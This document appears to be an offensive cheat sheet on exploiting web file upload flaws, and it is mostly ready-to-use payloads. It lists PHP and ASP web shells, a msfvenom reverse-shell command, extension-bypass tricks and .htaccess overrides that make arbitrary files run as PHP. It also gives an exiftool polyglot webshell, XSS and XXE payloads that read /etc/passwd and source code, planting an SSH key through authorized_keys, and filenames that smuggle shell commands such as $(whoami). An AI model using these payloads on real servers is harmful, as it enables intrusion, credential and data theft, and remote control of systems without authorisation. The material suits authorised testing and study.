File upload vulnerabilities arise when a web server allows users to upload files to its filesystem without sufficiently validating them.
The ability to upload a malicious file can be an issue by itself, as attackers might upload dangerous data on the filesystem.
In other cases, an attacker could potentially upload a server-side code file that functions as a web shell, effectively granting them full control over the server.
The impact of this class of vulnerabilities mostly depends on two factors:
- Which part of the file is properly validated (e.g. its size, type, contents, ...)
- Which restrictions are set on the file after it has effectively been uploaded
Whenever a resource is requested, the web server parses the path in the request to identify the file extension. The server then uses this to determine the type of the file being requested, typically by comparing it to a list of preconfigured mappings between extensions and MIME types.
What happens next depends on the file type and the server's configuration.
When requesting a static file, the server will most probably send the file's contents to the client within an HTTP response.
When requesting a dynamic file, there are two cases:
- If the server is configured to execute files of that type, it will assign variables based on the headers and parameters in the HTTP request before running the script. The resulting output may then be sent to the client in an HTTP response
- If the server is not configured to execute files of that type, it will generally respond with an error. However, in some cases, the contents of the file may still be served to the client as plain text.
{% hint style="info" %} Note:
The Content-Type response header may provide clues as to what kind of file the server thinks it has served.
If this header hasn't been explicitly set by the application code, it normally contains the result of the file extension/MIME type mapping.
If you are lucky enough, you might edit your request's "Accept" header to ask for a specific response content-type, potentially allowing you to still gain code execution! {% endhint %}
| File Types | Potential Attack |
|---|---|
| HTML, JS, SVG, GIF | XSS |
| XML, SVG, PDF, PPT, DOC | XXE/SSRF |
| ZIP, JPG, PNG | DoS |
| Web Shell | Description |
|---|---|
<?php file_get_contents('/etc/passwd'); ?> | Basic PHP File Read |
<?php system('hostname'); ?> | Basic PHP Command Execution |
<?php system($_GET['cmd']); ?> | Basic PHP Web Shell |
<% eval request('cmd') %> | Basic ASP Web Shell |
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php | Generate PHP reverse shell |
| https://github.com/Arrexel/phpbash | PHP Web Shell |
| https://github.com/pentestmonkey/php-reverse-shell | PHP Reverse Shell |
| https://github.com/danielmiessler/SecLists/tree/master/Web-Shells | List of Web Shells and Reverse Shells |
One of the more obvious ways of preventing users from uploading malicious scripts is to blacklist potentially dangerous file extensions like .php
You might use the following techniques to bypass some basic extension blacklists:
| Command | Description |
|---|---|
shell.phtml |
Uncommon Extension |
shell.pHp |
Case Manipulation |
shell.jpg.php |
Double Extension |
shell.php.jpg |
Reverse Double Extension |
%20, %0a, %00, %0d0a, /, .\, ., … |
Character Injection - Before/After Extension |
| Use some alternative extensions that might not be blacklisted |
In some cases, you might be able to leverage a file upload vulnerablity to move inside the filesystem and override files.
In that case, you can override the server's configuration to allow certain extensions, such as .php
Apache Servers
When dealing with Apache servers, you can write the following directives to the /etc/apache2/apache2.conf file:
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
Alternatively, you can also override the .htaccess file to write the configuration for specific directories.
Info: .htaccess files provide a way to make configuration changes on a per-directory basis. The directives in this file apply to the directory where the file is uploaded and its subdirectories.
If the file upload functionality has blacklisted all php extensions, you can upload a php webshell using the .anything extension. Then, upload a .htaccess file containing the following:
AddType application/x-httpd-php .anything
You will now be able to access the webshell.anything file and gain a PHP webshell!
Notice: you will most probably not be able to access the .htaccess file from the webserver, as direct access to it is typically disabled by the web server
IIS Servers
You can make directory-specific configuration on IIS servers using a web.config file.
For example, in order to enable JSON files to be served to users, you can add the following directives to the previously mentioned file:
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json"/>
</staticContent>
You may occasionally find servers that fail to stop you from uploading your own malicious configuration file. In this case, even if the file extension you need is blacklisted, you may be able to trick the server into mapping an arbitrary, custom file extension to an executable MIME type.
Modern servers may verify that the contents of the file actually match what is expected.
For example, some properties of specific types of files might be checked: uploading a PHP file when an image is expected might fail because the web server is checking for the dimensions (length and width) of the file, which are not properties of a PHP file, causing the validation mechanism to deny the file upload.
In some other cases, the file's signature (or magic bytes) are checked during the file upload procedure.
{% hint style="success" %} A file's signature can be used like a fingerprint or signature to determine whether the contents match the expected type.
For example, JPEG files begin with the bytes FF D8 FF.
Check this link for reference:
List of File Signatures/Magic Bytes {% endhint %}
Using an image file upload as an example, you might be able to upload a php webshell using a polygot JPEG file containing the payload in its metadata
{% hint style="info" %} A polyglot file is a single file that can be interpreted in multiple valid formats, depending on the program or context used to open it.
These files are crafted to contain data for different file types in such a way that various applications can read or interpret it as different formats. {% endhint %}
To do that, you can use tools such as ExifTool to add the payload, for example, in the image's comment metadata section:
exiftool -Comment="<?php system($_GET['cmd']); ?>" image.jpg -o polyglot.php
This will craft a file named polyglot.php which has the contents of a JPG file.
If the web server check the file's contents to ensure it is a JPG file, this will bypass such restriction. Otherwise, you will need to add extra work on this payload.
There are different cases in which you can gain XSS from file uploads:
- Uploading a HTML file containing a script in javascript
- Uploading a HTML file containing a link to our server to steal the document cookie
Other cases:
- Whenever an application shows an image's metadata after its upload, it is possible to inject a payload inside metadata parameters such as
commentorartistby usingexiftool:exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
- By using SVG images, it's possible to inject a payload with something like:
<script type="text/javascript"> alert("window.origin");</script>
Suppose you have an Arbitrary File Upload vulnerability where you can also specify the uploaded file's location, whether via a vulnerable filename or a path parameter. Also suppose that you have write access on SSH's authorized_keys file for a local user.
You can gain an SSH shell using the following:
- Use
ssh-keygento generate a key namedfileup - cat fileup > authorized_keys
- Upload the file to
/home/username/.ssh/authorized_keys(or/root/.ssh/authorized_keys). - Note that you might need to leverage a path traversal vulnerability to reach these destinations.
- Use
ssh username@IP -i fileupto gain the SSH shell asusername - Notice that SSH might require using
chmod 500 fileupto use the-i fileupoption
-
[Read
/etc/passwd] XXE from SVG images upload by using the following payload:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <svg>&xxe;</svg> -
[Exfiltrate PHP Code] XXE from SVG to read source code:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> <svg>&xxe;</svg>
- A common file upload attack uses a malicious string for the uploaded file name
- The filename may get executed or processed if the uploaded file name is reflected on the page.
- We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack.
- Some examples of filenames for this attack:
- System Command Execution
file$(whoami).jpgfilewhoami.jpgfile.jpg||whoami
- XSS from filename:
<script>alert(window.origin);</script>
- SQLi from filename:
file';select+sleep(5);--.jpg
- Reserved Characters: such as (
|,<,>,*, or?) are characters for special uses (such as wildcards).- If the web application doesn't apply any form of input sanification, it's possible to refer to a file different from the specified one (which does not exist)
- This behaviour causes an error which may be shown on the web application, potentially showing the
upload directory
- Windows Reserved Names: can be used to replicate the same behaviour as the reserved characters previously shown. (
CON,COM1,LPT1, orNUL) - Windows Filename Convention: it's possible to overwrite a file (or refer to a non-existant file) by using the
~character to complete the filename- Example:
HAC~1.TXT→ may refer to hackthebox.txt - Reference: https://en.wikipedia.org/wiki/8.3_filename
- Example: